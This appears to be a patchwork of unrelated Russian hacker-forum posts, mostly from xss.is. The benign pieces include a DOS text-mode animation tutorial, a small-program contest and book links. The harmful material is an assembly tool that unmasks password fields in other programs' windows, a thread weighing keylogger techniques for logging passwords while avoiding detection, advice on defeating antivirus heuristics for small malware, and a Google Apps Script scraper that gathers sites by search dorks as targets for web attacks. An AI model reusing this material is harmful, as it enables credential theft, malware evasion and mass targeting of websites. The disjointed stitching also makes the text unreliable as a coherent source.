Кстати, на всякий случай имей в виду, что в 8088 еще есть инструкция stosb. Она работает так же, как stosw, но только не со словами (сдвоенными байтами), а с байтами. stosb пишет значение регистра AL по адресу ESI и увеличивает DI на единицу (или уменьшает, если флаг направления установлен в единицу).
Рисуем психоделические круги
А теперь переходим к самому интересному! Сейчас напишем программу, которая
рисует психоделические круги, как в фильме «Хакер». Помнишь там эпизод, где
наши с тобой коллеги восхищаются «миллионом психоделических оттенков» на ноуте
Кислотного Ожога?
Мы нарисуем то же самое, но в классическом текстовом режиме, в разрешении 80x25 с 16 цветами для фона и текста. Итак, приступим.
Сначала инициализируем видеорежим и настраиваем сегменты на видеопамять
экрана.
Потом инициализируем таймер, который поможет добавить динамики к нашей
психоделической анимации. Зачем он нам? Чтобы на первых 32 кадрах анимации
рисовать увеличивающиеся круги, а на остальных 32 — уменьшающиеся.
Что тут происходит? Сервис 0x00 прерывания 0x1A считывает, сколько тиков прошло с того момента, как была загружена система. Результат возвращается в 32-битном виде, помещается в пару регистров: CXX.
Поскольку для наших нужд надо вести счет только от 0 до 63 и затем обратно, мы проверяем шестой бит (0x40), и если он установлен в единицу, то добавляем к текущему значению счетчика знак минус.
Затем инструкцией and al, 0x3F выделяем шесть младших битов и при помощи вычитания приводим знаковое 8-битное значение к диапазону -32..+31, которое затем расширяем до слова (до сдвоенного байта). Результат помещаем в CX.
А теперь самое интересное. Вычисляем параметры текущего шага анимации и
отрисовываем ее.
Что мы тут делаем? В DI у нас будет храниться текущая позиция на экране, куда
выводить символ. Сначала сбрасываем ее в 0, чтобы рисовать начиная с левого
верхнего угла. В DH и DL будем хранить номер строки и столбца. А в BX у нас
будет адрес таблицы синусов (ее покажу чуть позже).
Теперь, когда мы проинициализировали все нужные переменные, нам надо вычислить с помощью таблицы синусов, каким цветом отрисовывать символ (у нас это будет звездочка) в очередной позиции экрана. Чтобы в итоге получились круги.
Для этого делаем вот что. Берем номер текущей строки (из DH). Умножаем его на два, чтобы круги были кругами, а не овалами. По этому значению извлекаем синус из таблицы символов (смотри инструкцию xlat).
Что это за инструкция такая, xlat? Ее мнемоника — это сокращение от слова translat e. Она считывает байт с адреса BX+AL и помещает его в регистр AL. То есть делает то же самое, что инструкция mov, al, [bx+al], но только более лаконично. Перед тем как обращаться к xlat, надо сначала загрузить в BX адрес таблицы, а в AL — индекс нужного нам элемента из этой таблицы.
Обрати внимание на префикс CS, который стоит перед xlat. Он говорит процессору, что сейчас при считывании данных надо обращаться к кодовому сегменту. Без префикса CS данные будут считаны из сегмента, на который указывает регистр DS. И получится белиберда, потому что DS сейчас указывает на экран, а не на код, где размещена таблица синусов. После того как мы извлекли значение синуса, сохраняем его на стеке (смотри инструкцию push ax).
На этом полдела сделано. Мы взяли номер текущей строки (DH) и вычислили по нему синус. Дальше делаем то же самое для номера текущего столбца (DL). В итоге у нас получается два значения синуса. Одно сейчас хранится в регистре AX, а другое лежит на стеке.
Поэтому мы снимаем со стека предыдущее значение синуса (смотри инструкцию pop DX) и складываем с текущим значением синуса, которое сейчас хранится в AX. И еще плюсуем к ним текущее время (в тиках, от момента включения компьютера). Младший байт полученного результата — это и есть искомое значение цвета (цвет фона + цвет текста).
Надеюсь, ты не забыл, что всю эту чехарду с синусами мы затеяли для того, чтобы вычислить, каким цветом отрисовывать звездочку в очередной позиции экрана и получить в итоге круги?
Итак, нужный цвет мы вычислили и теперь выводим звездочку на экран: mov [di], ax. Затем добавляем к DI двойку, чтобы перейти на следующую позицию экрана — где будем рисовать новую звездочку, но уже другим цветом. Ты ведь помнишь, что у нас на каждый символ отводится по два байта?
Наконец, заключительный штрих: корректируем номера текущей строки и текущего
столбца и переходим к следующей итерации цикла.
Что мы тут делаем? Сначала берем номера текущих строки и столбца (их мы
сохранили на стеке). Помещаем их в DX. Затем прибавляем единицу к DL. Если
результат получился меньше 80 (столько столбцов у нас на экране), то повторяем
цикл. А если досчитали до 80, то переходим на следующую строку: увеличиваем DH
на единицу, а DL обнуляем. Но делаем этот последний шаг, только если не
досчитали до 25. А если в DH у нас уже 25, то переходим в самое начало
программы (смотри метку @@main_loop) и начинаем все заново.
В итоге получается анимация с психоделическими кругами, которые то растут, то
уменьшаются.
Кадр из нашей программы
Автор @vedacoder Антон Карев
хакер.ру
В планировщике задач добавлен вpowershell скрипт, при его выполнении появлется окно командной строки, есть ли варианты его сткрыть. (-WindowsStyle Hidden почему то не работает)
Решил начать свою карьеру переводчика на данном форуме и поэтому прошу вас
предложить мне книги для перевода про язык "Go".
Если книга мне понравится, то я попытаюсь её перевести максимально точно, не
искажая главную мысль.
Давно не было у нас интересных конкурсов.
Предлогаю организовать аналог темы ( http://xss.is/index.php?topic=10843 ).
Задание:
- Написать программу-шутку размером не больше 4кб.
Условия:
- Упаковвывать программу можно.
- Язык программирования: не важен, хоть на маш. коде пишите
- Платформа: Windows.
- Сроки сдачи: 27.09.2011 - 04.10.2011
- Ваши программки слать мне в пм
(Желательно: запакованные, с паролём. Пароль мне не высылать, т.к я тоже
учавствую).
В конце конкурса (05.10.2011) будет создан топик с релизами, т.о устроим
публичное голосование за звание лучшего кодера DL
- Имена авторов будут скрыты до окончания голосования.
- Исходники будут выкладываться по разрешению автора.
- Критерии оценки программы: размер, оригинальность.
Накануне я нашёл у себя скачанный сто лет назад небольшой исходничок на ассемблере, который вместо всеми не любимых символов "*" показывает человеческий текст. К сожалению, или к счастью, в исходнике небыло коментариев, один сплошной код, который был абсолютно не систематизирован. И мне стало безумно интересно докапаться до самой сути этой технологии. Как же всё-таки обойти эти звёздочки, как это делает OpenPass, чем мы хуже? Ну и подобная бредятина... которая к нашему делу не имеет отношения... В результате я доработал эту программу и у меня, скажем так, получился более "красивый" код.
Я выяснил не всё, поэтому эта статья не претендует на полноту, это всего-лишь мои доводы после нескольких часов исследования.
На самом деле таких прог куча и нужда в такой проге как таковой практически нулевая, но я наверное такой тормоз, что мне только сейчас захотелось исследовать принцип работы таких прог. Поэтому статья для такиз же тормозов как и я если кого обидел последним высказыванием, то уж извиняйте братья и сестры...
Итак, мы начинаем...
Кто программирует тот знает, что текстовое поле имеет свойство PasswordChar , и значит в зависимости от значения этого св-ва вы и имеете возможность видеть или не видеть всё, что находится в текстовом поле! Как правило для полей куда вводится пароль значение этого св-ва = ***** , для обычных полей оно пустое т.е. после компиляции равно 00.
Напишем небольшую программу, форма и текстовое поле со значением св-ва **PasswordChar = *** , скомпилируем и получаем:
В уже скомпилированной программе значение этого св-ва зашито, и если мы дизассемблируем программу, то в памяти сможем легко найти этот символ:
Значение по этому смещению равно "2A ", в десятичном формате это "42 ", а 42 это и есть ascii код символа "***** ".
Кстати, если перебить эти два полубайта на "00 ", то собсно и всякие звёздочки пропадут сами собой, т.е. при вводе в это текстовое поле вы будете видеть нормальный текст:
Но нам этот вариант не подходит, нам надо видеть уже введённое значение(хотя в хозяйстве может пригодиться).
Как известно любой объект программы(кнопка, текстовое поле, скролбар, метка) имеет свой уникальный идентификатор - Handle , в народе - хендл! И когда запускается программа каждому объекту присваивается хендл и к хендлу приклепляются соответствующие св-ва объекта прошитые уже в самой программе(TEdit, TButton, TMaskEdit) . Соответственно любой объект и поле для ввода пароля будут отличаться друг от друга минимум одним св-ом - PasswordChar. Вот его-то нам с вами и надо отловить из всей кучи объектов.
Приступаем к кодингу, хочу сказать, что код будет на языке ассемблера, поэтому использовать мы будем одни апи:
Нам надо подумать сначала как же нам получить весь массив объектов для перебора и сравнения каждого объекта по определяющему типу(поле для ввода пароля). Есть такая функция: EnumChildWindows, которая перечисляет все дочерние окна принадлежащие родительскому окну и передаёт дескриптор(хендл) дочернего окна в процедуру обратного вызова(по сути в любую указанную процедуру). Фу мля... помойму я сложно сформулировал, но ничего, по ходу вы всё поймёте!
Что ж, теперь стоит вопрос где найти такое родительское окно, чтобы абсолютно все объекты являлись его дочерними окнами, т.е. объектами создаными после него и имеющие меньший приоритет. Конечно выход один: делать родительским окном наш рабочий стол! Что ж, получим хендл рабочего стола в спомощью функции GetDesktopWindow
На данный момент нашей процедуре был передан хендл объекта, теперь она должна определить не является ли этот объект полем для ввода пароля. Как это сделать? Это собственно и есть самый трудный этап.
Давайте уже непосредственно перейдём к коду, так думаю будет проще и мне и вам:
Code:Copy to clipboard
(1) main proc hWin:DWORD
(2) invoke GetDesktopWindow
(3) invoke EnumChildWindows,eax,addr EnumKids,hWin
(4) xor eax,eax
(5) ret
(6) main endp
1. Определяем процедуру и значение hWin как 32 разряда т.е. 4 байта.
2. Вызываем функцию которая и возвратит нам хендл рабочего стола, нашего родительского окна, от которого мы и начнём перебор объектов.
3. Вот это и есть главная функция, которая будет перебирать все дочерние окна относительно десктопа и передавать хендл каждого из них на сравнение процедуре EnumKids , её мы рассмотрим позже.
4. Обнуляет регистр eax
5. Возврат из процедуры
6. Конец процедуры.
Процедура EnumKids :
Code:Copy to clipboard
(1)EnumKids proc eHandle:DWORD
(2)invoke GetWindowLong,eHandle,GWL_STYLE
(3).if (eax & ES_PASSWORD)
(4)invoke SendMessage,eHandle, EM_SETPASSWORDCHAR, 0, 0
(5)invoke SendMessage,eHandle,WM_SETFONT,eax, 0
(6).endif
(7)mov eax,eHandle
(8)ret
(9)EnumKids endp
1. Определяем процедуру и в ней один параметр, 4 байта.
2. Функция которая и получает стиль или тип нашего объекта, возваращает характерную для нашего окна информацию.
3. Вот эта строка будет возвращать два значения, а точнее знака: + и -. В случае если будет возвращён +,т.е. шестой бит в регистре eax равен 0, то программа сделает скачек на строчку 7, это будет означать, что наш объект не будет являться полем со звёздочками, в случае если будет возвращён -, т.е. шестой бит в регистре будет равен 1(тут с этими битами я сам запутался, но это не суть важно ), то объект будет являться именно полем с паролем и будет выполнен код следующий за номерами: 4,5 и 6. Другими словами если стиль не ES_PASSWORD , то идём до строки семь, а если такой стиль принадлежит нашему объекту, то убиваем звёздочки.
4. Вы помните св-во PasswordChar? Помните, что у нас его значение равно символу "*"? Так вот эта строчка устанавливает значение св-ва PasswordChar у объекта с хендлом eHandle равное нулю, т.е. попросту говоря мы убиваем это св-во.
5. Ну и собсно эта функция и выводит результат в объект с хендлом eHandle текст который и был под свёздочками.
6. Конец условного оператора
7. Возвращает хендл, чтобы продолжать перечислять окно.
8. После команды ret мы опять прыгнем на строчку:
Code:Copy to clipboard
invoke EnumChildWindows,eax,addr EnumKids,hWin
Определим следующий хендл и процедура EnumKids повторится!!!
И так будет пока не будут перечислены все дочерние окна и объекты. Потом будет выполнена ret в процедуре main и мы вернёмся в главную процедуру.
Вот как это выглядит в отладчике:
Но для начала я определил хендл текстового поля в нашей небольшой программе:
Handle: 0x0144
Теперь смотрите как это выглядит в отладчике:
Видите в строке выделенной серым цветом(это команда на которой остановился отладчик после того как программа дошла до хендла который определён нашему тектовому полю со звёздочками) слово hWnd , оно равно 003A0144 , три последние цифры совпадают с определённым нами хендлом, значит программа дошла до нашего текстового поля со звёздочками. Далее, в скобочках, отладчик показывает св-ва этого поля.И его класс: ThunderRT6TextBox. Если бы программа была написана на делфи, класс был бы определён как TMaskEdit.
По-сути наша программа использует всего 5 апи функций, ну и ещё 5 строчек полезного кода. Я попытался реализовать это на Visual Basic'e, получился, как это нестранно, гораздо сложночитаемый код, поэтому я решил всё-таки описать программу на ассемблере.
Ну и плюс ко всему прочему размеры готовых ехе программ на ассемблере и VB: 1536 и 16358 байт соответственно.
Я думаю, что многие что-то здесь поняли не до конца или не поняли вообще. Возможно я плохой писатель, а возможно вам стоит ещё немного поднатаскаться в этой области! В любом случае задавайте свои вопросы, я постараюсь ответить, материал действительно довольно сложный, мне самому понадобилось много времени чтобы понять всё до конца.
На самом деле данная технология уже не совсем актуальна, и серьёзные программы не используют такую технологию, но всё-таки такого софта полно.
Например миранда, использует как раз метод защиты который был описан мною ниже(в случае если пароль не хранится на винте), но если пароль уже введён, а кнопка OK не нажата, ну вдруг ваш друган отлить отошёл прежде чем нажать на ОК, а пароль уже ввёл... =), пароль можно узнать используя отладчик, если кому интересно, то эта тема отдельной статьи... =)
Теперь полный листинг кода программы:
Code:Copy to clipboard
;<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
;Всякая хрень
.486;Использовать набор команд процессора х486
.model flat, stdcall;Плоская модель памяти
option casemap :none;Делаем метки чуствительными к регистру
include \masm32\include\windows.inc
include \masm32\include\masm32.inc
include \masm32\include\gdi32.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\Comctl32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\shell32.inc
include \masm32\include\oleaut32.inc
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\Comctl32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\oleaut32.lib
;Хрень кончилась :)
;<<<<<<<<<<<<<<<<<<<<<<
;Объявляем прототипы функций
EnumKids PROTO :DWORD
main PROTO :DWORD
;<<<<<<<<<<<<<<<<<<<<<<
.data
.code
;<<<<<<<<<<<<<<<<<<<<<<
Start:
call main;Вызываем процедуру main
invoke ExitProcess,0;После того как в процедуре main выполнилась команда RET выходим.
;<<<<<<<<<<<<<<<<<<<<<<
main proc hWin:DWORD
invoke GetDesktopWindow
invoke EnumChildWindows,eax,addr EnumKids,hWin
xor eax,eax
ret
main endp
;<<<<<<<<<<<<<<<<<<<<<<
EnumKids proc eHandle:DWORD
invoke GetWindowLong,eHandle,GWL_STYLE
.if (eax & ES_PASSWORD)
invoke SendMessage,eHandle, EM_SETPASSWORDCHAR, 0, 0
invoke SendMessage,eHandle,WM_SETFONT,eax, 0
.endif
mov eax,eHandle
ret
EnumKids endp
;<<<<<<<<<<<<<<<<<<<<<<
end Start
Конечно нельзя обойти стороной метод защиты от такого рода программ. Т.к. я из языков высокого уровня хорошо знаю VB, то и реализовывать буду на этом языке, хотя этот метод с лёгкостью можно использовать и в других языках!
Метод немножко ламовский, но зато работает Я просто отлавливаю символы нажатые в первом текстовом поле(которое доступно пользователю) во второе текстовое поле(которое можно сделать невидимым, отключить и вообще вынести за пределы формы, ну кароче спрятать).
Я сделал это так(проверка на значение 8 идёт потому как 8 - это аски код кнопки BackSpace, соттветственно нам его писать ненадо, он должен выполнять назначеную ему функцию):
Code:Copy to clipboard
Private Sub Text1_KeyPress(KeyAscii As Integer)
If KeyAscii <> 8 Then
Text2 = Text2 & Chr(KeyAscii)
Text1 = Text1 & "*"
KeyAscii = 0
Else
On Error Resume Next
Text2.Text = Mid(Text2.Text, 1, Len(Text2.Text) - 1)
Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) - 1)
End If
End Sub
Скачать снифер: сЦылка
Скачать не защищённую программу:
сЦылка
Скачать программу с защитой:
сЦылка
При написании статьи были использованы следующие инструменты:
OllyDBG, HiewDemo, The Customizer, MASM & MS VB 6.0 =)
Автор: Аблязов Р.З.
Формат: PDF
Размер архива с примерами исходных текстов: 14 МБ.
Скачать: http://rghost.ru/43234073
Зеркало: http://www.sendspace.com/file/0iby8v
Как я понял, существуют три способа (я говорю о юзермоде, кернел не
интересует) логирования клавиатурного ввода:
1. Опрос в цикле функций состояния клавиатуры
GetKeyboardState/GetAsyncKeyState и так далее.
2. Хуки.
3. перехват функций, оконных сообщений и т.п.
1. Из того, что я понял в ходе изучения, эти функции - самое простое и самое первое, к чему приходит любой разработчик подобного софта. Ну а что - бери да вызывай в цикле и логируй, что там получилось. Но по факту, есть некоторые нюансы. Если слишком часто вызывать функцию (например - GetAsyncKeyState , опрос каждой клавиши), то это нагрузка на проц + будет логироваться несколько раз подряд одно и тоже (вида - вводишь "а", а он логирует "ааа"). Если слишком редко - часть символов пролетит. Нередко логирование было не в том порядке, что нужно - вместо "слово" логировалось "совло" и подобное. Если для обычной переписки это еще куда не шло (понять суть можно), то для логирования паролей, ес-но, не подойдет. Поигравшись с этими функциями, я так и не понял, как их оптимально использовать - наверное, все таки никак (или в комплексе с чем-то другим).
2. Более точный вариант, т.к. просто - получил сигнал что ввели новый символ, залогировал. С другой стороны, хуки - это дополнительная нагрузка на ОС, это страшное палево, и (возможно) нестабильность работы. Кто-то писал, что кривые хуки (вместе с аверами) могут уронить систему в бсод.
3. Экзотика - из-за этого нестабильная работа, ну и палево (перехват функций это обычно инжект).
В общем, интересует ваше мнение на эту тему, особо мнение тех, кто реверсил такую малварь. Что чаще всего используют, плюсы и минусы.
Visual Basic .Net "Библия пользователя"
Билл Ивьен, Джейсон Берес
1024 стр. - 101 Мб.
Скачать
часть 1
Скачать
часть 2
Скачать
часть 3
Подскажите по WinInet - как получить страницу сайта после авторизации? Т.е. чтобы передались куки и все прочее. Авторизация на сайте идет так:
Code:Copy to clipboard
.486
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\wininet.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm
uselib kernel32, masm32, user32,wininet
.data
uri db "/login.php?action=in",0
login_cont db 256 dup (0)
login_shab db "form_sent=1&redirect_url=&req_username=%s&req_password=%s&login=%C2%EE%E9%F2%E8",0
login db "user1",0
pass db "111222",0
headers db 13,10,"Accept: text/html,application/xhtml+xml,application/xml",
13,10,"Accept-Language: ru-ru,ru;q=0.8,en-us",
13,10,"Accept-Charset: windows-1251",
13,10,"Keep-Alive: 115",
13,10,"Connection: keep-alive",
13,10,"Content-Type: application/x-www-form-urlencoded",0
buf db 1024 dup (0)
lpszReferer db "http://te.mybb.ru/login.php",0
.data?
hInetSes dd ?
hConnect dd ?
hReq dd ?
bReaded dd ?
.code
start:
invoke wsprintf,addr login_cont,addr login_shab,addr login,addr pass
invoke InternetOpen,chr$("Mozilla/5.0"),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0
mov hInetSes,eax
invoke InternetConnect,hInetSes,chr$("te.mybb.ru"),INTERNET_DEFAULT_HTTP_PORT,\
0,0,INTERNET_SERVICE_HTTP,0,0
.if eax==0
Invoke MessageBox,0,LastError$(),chr$("InternetConnect fail"),0
.endif
mov hConnect,eax
invoke HttpOpenRequest,hConnect,chr$("POST"),addr uri,0,addr lpszReferer,\
0,INTERNET_FLAG_KEEP_CONNECTION,0
.if eax==0
Invoke MessageBox,0,LastError$(),chr$("HttpOpenRequest fail"),0
.endif
mov hReq,eax;handle of request
invoke HttpSendRequest,hReq,addr headers,sizeof headers,addr login_cont,sizeof login_cont
.if eax==0
Invoke MessageBox,0,LastError$(),chr$("HttpSendRequest fail"),0
.endif
Invoke Sleep,3000
invoke InternetCloseHandle,hInetSes
Invoke ExitProcess,0
end start
Пробовал после Sleep писать что-то вида InternetReadFile, передавая hReq, но показывает мне лишь страницу входа (точнее, сообщение что вход успешен, сейчас вас перенаправят на главную страницу). А как мне считать другую страницу, будучи залогиненным? Нужно новый запрос через HttpOpenRequest формировать?
Добрий день, хотелось би изучить ассемблер но столкнулса с кучей компиляторов ,те кто разбирается что посоветуете новичку?
Хотелось бы обсудить такую тему. Вопрос возник после чтения обзора от Ar3s
о dirt jumper'e. Все таки - насколько важен размер малвари, и какой
оптимальный - большой, небольшой, микро? Просто везде,имхо, есть свои плюсы и
минусы.
И правда ли это, что многие антивири автоматом банят маленькие ехе? Если да -
что тогда делать, если малварь написана на Асме? Вставлять куски мусорного
кода куда-то или как?
Автор petrinh1988
Источник https://xss.is
Для атак на веб-приложения, нужна база сайтов, вот мой вариант массового сбора по доркам. Кроме того, считаю, что Google Apps Script сильно недооценен в сообществе, поэтому кроме основной темы, разберу пару интересных примеров.
Есть куча инструментов, которые позволяют собирать сайты, но не всегда ими удобно пользоваться. Ну или не выгодно. Тот же A-Parser или Zenno стоит денег. Плюс нагрузка на комп и сеть. GAS же позволяет парсить параллельно другим процессам, не требуя дополнительных ресурсов. Поэтому, я решил использовать возможности Google Sheets и Google Apps Script.
Стратегия работы такая: пишу парсер на GAS для Google-таблицы, делаю кучу копий и получаю результат. Все это без прокси, танцев с бубном и на мощностях Google.
Что такое GAS?
Начнем с базы. Google Apps Script - это, как понятно из названия, скриптовый язык Google. Как Visual Basic for Application в продуктах MS Office. Он также охватывает большую часть продуктов и сервисов Google.
Sheets, Docs, Drive, Gmail, Calendar — этим всем можно спокойно оперировать при помощи скриптов. Сам по себе язык, это одна из реализаций Javascript. Поэтому, если есть базовые знания JS, никаких проблем не возникнет. Чтобы писать полноценные решения, нужно будет просто посмотреть, какие объекты (интерфейсы) представляет GAS. Ну и разобраться с некоторым несложным устройством, а также с замороченными правами доступа.
Сами проекты, которые используются в ваших Google-аккаунтах, можно посмотреть
по адресу https://script.google.com/home Скрипт может быть привязан к той же
таблице (создаваться из нее), тогда при копировании таблицы будет копироваться
и скрипт.
Важные детали перед началом
GAS имеет ограничения на количество исходящих запросов. Раньше было 100 000 запросов в сутки с аккаунта, сейчас 20 000. Т.е., если потребуется большое количество парсингов, потребуется большое количество аккаунтов. Повторюсь — ограничение для аккаунта, а не таблицы или чего-то другого. Суммируются все исходящие запросы, запросы к опубликованному приложению не считаются. По крайней мере я не видел таких квот.
Для парсинга использую сервис. Почему? Потому что так отпадает множество вопросов. Не нужно париться по поводу распарсивания самой страницы. Подобные сервисы берут данные из Google через XML API и нет возни с подозрениями Google, гаданием каптчей и т.п. Просто сделали запрос и получили результат от 0 до 100 записей. Если пихать дорки в поиск Google, он быстро задастся вопросом - а чего это ты так активно пользуешься дорками? Очередной плюс парсинга через XML API Google в том, что прокси не нужны.
Сервис можете выбрать любой, а не тот которым пользуюсь я. Не рекламирую, реферальных ссылок не распространяю, каких-то других плюшек не имею, к сервису отношения не имею, только пользуюсь. Возможно, что это самый хреновый из сервисов и я делаю большую глупость, работая с ним. Честно сказать, особо не задавался вопросом выбора, возможно есть более быстрые и более дешевые. Если знаете такой, поделитесь в комментариях.
В моем случае, стоимость 1000 запросов 20 руб. Т.е. за 20 рублей можно получить до 100 000 сайтов. Хотя на практике, будут дубли, как ты с ними не борись Будут “пролазить” крупные порталы разработчиков и всякие вопросы- ответы.. Ну и не всегда можно получить сотню сайтов… бывает и ноль. Виноват, заголовок кликбейтный... Не лишним, перед запуском парсинга, глазками пробежаться по базе дорков, пройтись руками и посмотреть, какие сайты заминусить. Типа github, youtube, stackoverflow и т.п. Для каждого отдельного дорка сайты будут разные.
Можно заморочиться и написать свой код, который будет точно так же парсить
Google используя XML API. Но я в этом моменте не разбирался. Единственное,
нашел справку и попробовал выполнить запрос из примера, результат работы:
Прямой парсинг Google через GAS не получится. Парсер сразу отлетает на сообщение о роботизированном трафике. Проблем приводящих к этому несколько:
1. IP давно известны "шалостями", т.к. запросы идут с определенных серверов Гугла, которыми пользовались другие люди...
2. На текущий момент, нет способа прикрутить прокси к Google. Только костыли, а в этом случае нет смысла в представленной схеме... тогда уж проще взять любую связьку, где будет использоваться какой-то вебдрайвер
3. Даже если бы прокси проходили, в официальной документации нет ничего про юзер-агенты. Народ пытается пихать, но насколько в этом есть смысл, не проверял.Click to expand...
Пошаговая инструкция
Как ни странно, начинаю с создания таблицы. Вбиваю в браузере sheets.new и получаю готовую табличку. Да, если кто не в курсе, Google купил домены sheets.new для создания таблиц и doc.new для быстрого создания документов. Документ назову “Parser”
Назову лист “dorks” для дорков и создам еще один с именем “results”. Вам захотеться добавить дополнительные листы для сращивания. Например, лист содержащий регионы. Таким образом, можно было бы обойти все дорки для разных регионов поиска. Но тогда нужно дописывать кучу циклов, обходящих дополнительные листы и код становится неудобным для поддержки и оптимизации. Да и время парсинга увеличится, так как будет запущена одна очередь. Все же, рекомендую разделять и властвовать. Только для примера приведу кусок кода со сращиванием.
Иду в верхнее меню Extensions -> Apps Script и попадаю в проект GAS
Переименовываю, кликнув по названию, чтобы было понятно к какой таблице
относится скрипт. Когда их становится под сотню, названия очень помогают.
GAS-проект, созданный таким способом, будет привязан к самой таблице, а значит
будет вместе с ней копироваться!
Прежде, чем идти дальше, обращу внимание на еще одно важное ограничение Google: время выполнения скрипта ограничено шестью минутами. Парсинг большого количества запросов явно превысит предел в 360 секунд. Особенно, учитывая неторопливое добавление данных в таблицу. Я выработал следующую стратегию:
Мне удобнее, когда есть хоть какое-то разделение кода. Жму плюсик вверху слева, выбираю “Script” и переименовываю gs-файл в const. Здесь будут лежать все необходимые глобальные константы.
Потребуется константа для хранения ключа апи сервиса, константа для айди пользователя. Добавлю константу с идентификатором региона и самим адресом для запросов. Сами значения беру из сервиса.
Если будете пользоваться тем же сервисом, потребуются константы, которые я
тщательно замазал… тщательно, т.к. Местные по обрубкам пикселей цифр смогут
user id восстановить))))
JavaScript:Copy to clipboard
const API_URL = `https://xmlstock.com/google/xml/?`;
const API_KEY = `PUT_YOUR_API_KEY_HERE`;
const API_USER = 00000;
const SHEET_DORKS = `dorks`;
const SHEET_RESULTS = `results`;
const MAX_TIME_SEC = 280;
SHEET_DORKS и SHEET_RESULT сюда же, чтобы дальше было удобнее и управляемее.
Теперь, если надо поменять регион парсинга, можно это сделать в полтора клика, заменив константу, а не копать код в поисках нужной строчки.
Создаю запускающую функцию initParsing:
JavaScript:Copy to clipboard
let startTime = new Date()
function initParsing() {
let currentDork = parseInt(ScriptProperties.getProperty('currentDork'));
if (!currentDork) {
ScriptProperties.setProperty('currentDork', 1);
currentDork = 1;
}
startParsinп(currentDork)
}
Скрипт получает параметр из ScriptProperties , если он пустой, считает это первым сканированием и инициализирует переменные. После переходит к самому парсингу.
parseInt() используется потому как параметры текстовые, более того, при сохранении приводятся к виду “1.0”. По идее, JS должен прекрасно пониматЬ, что речь идет о единице, но в данном случае нет.
Обращаю внимание на то, что первая строка задается как 1. Дело в том, что мы будем работать с таблицей гугла, а там нумерация начинается с 1, не с 0! Видмо, гугл сделал для удобства, чтобы проблемную строку таблицы было удобно искать.
Переменная startTime нужна для отслеживания времени выполнения и инициализируется при запуске скрипта.
Основная функция всего скрипта
Первым делом, получаю объект таблицы. Так как скрипт создавался из самой таблицы, он к таблице привязан и для него активный Spreadsheet будет нужной таблицей.
JavaScript:Copy to clipboard
const xss = SpreadsheetApp.getActiveSpreadsheet();
Следующим шагом, получаю интересующие листы по их названию. Как писал вначале, это
JavaScript:Copy to clipboard
const sheetDorks = xss.getSheetByName(SHEET_DORKS);
const sheetResults = xss.getSheetByName(SHEET_RESULTS);
Результаты будут парситься и добавляться в отдельной функции, но чтобы каждый раз не пинать Google Apps Script на предмет получения ссылки на лист, будем передавать его параметром.
Для запуска главного цикла не хватает номера последней заполненной строки. Получить ее можно используя метод lastRow(). Но чтобы цикл прошел до конца, прибавлю единичку.
JavaScript:Copy to clipboard
const lastDork = sheetDorks.getLastRow() + 1;
Внутри цикла, первым делом, скрипт проверяет текущее время выполнения. Если мы близки к порогу, прекращаем выполнение. Далее скрипт берет нужный ключ с листа дорков. Для этого надо получить нужный диапазон, указав строку и ячейку (getRange). После вытащить из него значение через getValue().
JavaScript:Copy to clipboard
for(let i = currentDork; i < lastDork; i++) {
let currentTime = new Date().getTime()
let seconds = (currentTime - startTime) / 1000
if (seconds > MAX_TIME_SEC) {
console.log('Time end');
return;
}
const dorkValue = sheetDorks.getRange(i, 1).getValue()
// ...
}
Запрос к API и сохранение результатов реализую отдельными методами. Чуть позже пригодится такой подход. Да и как-то профессиональнее что ли…
JavaScript:Copy to clipboard
// ...
const result = getDataFromAPI(dorkValue);
parseJSONToSheet_(result , sheetResults, dorkValue);
В самом конце цикла, нужно увеличить номер строки с ключом на единичку, чтобы при следующем запуске скрипт стартовал с правильной строки. Я же не знаю, может уже время работы скрипта подходит к концу и пора бы свернуться.
JavaScript:Copy to clipboard
currentDork++;
ScriptProperties.setProperty('currentDork', currentDork);
Итоговая главная функция выглядит так:
JavaScript:Copy to clipboard
function startParsing(currentDork) {
const xss = SpreadsheetApp.getActiveSpreadsheet();
const sheetDorks = xss.getSheetByName(SHEET_DORKS);
const sheetResults = xss.getSheetByName(SHEET_RESULTS);
const lastDork = sheetDorks.getLastRow() + 1;
for(let i = currentDork; i < lastDork; i++) {
let currentTime = new Date().getTime();
let seconds = (currentTime - startTime) / 1000;
if (seconds > MAX_TIME_SEC) {
console.log('Time end');
return;
}
const dorkValue = sheetDorks.getRange(i, 1).getValue();
const result = getDataFromAPI(dorkValue);
parseJSONToSheet_(result , sheetResults, dorkValue);
currentDork++;
ScriptProperties.setProperty('currentDork', currentDork);
}
}
Функция сохранения:
Для сохранения информации предпочитаю appendRow(). Есть другой вариант,
получать последний range и писать данные в него через setValues(). Но тогда
придется самому контролировать с каким диапазоном работать, не перезаписываю
ли какие-то данные и не надо ли в лист добавить строк. Второй подход, по
ощущениям, работает чуть быстрее, но как-то лениво его использовать…
JavaScript:Copy to clipboard
function parseJSONToSheet_(json, sheet, dork) {
const {results} = json
for(let i = json.first; i <= json.last; i++) {
sheet.appendRow(['', '', results[i].url, results[i].title, results[i].passage, ,dork]);
}
}
Функция проста, как банка огурцов. Из всего json забираем только results После проходим циклом, выгружая значения объекта в табличку. Первые две ячейки оставляю пустыми. К ним вернемся позже, при нормализации данных.
Последней реализую функцию запроса к API. В ней нет ничего сложного. Для выполнения запросов в GAS есть объект URLFetch. Просто вызываю его метод fetch() с нужными параметрами. Из функции возвращаю тело, преобразованное в JSON.
JavaScript:Copy to clipboard
function getDataFromAPI(dork) {
const url = `${API_URL}?user=${API_USER}&key=${API_KEY}&groupby=100&domain=37&device=desktop&hl=en&lr=2840&filter=1&query=${encodeURIComponent(dork)}`;
const response = UrlFetchApp.fetch(url);
const content = response.getContentText();
const json = JSON.parse(content);
return json;
}
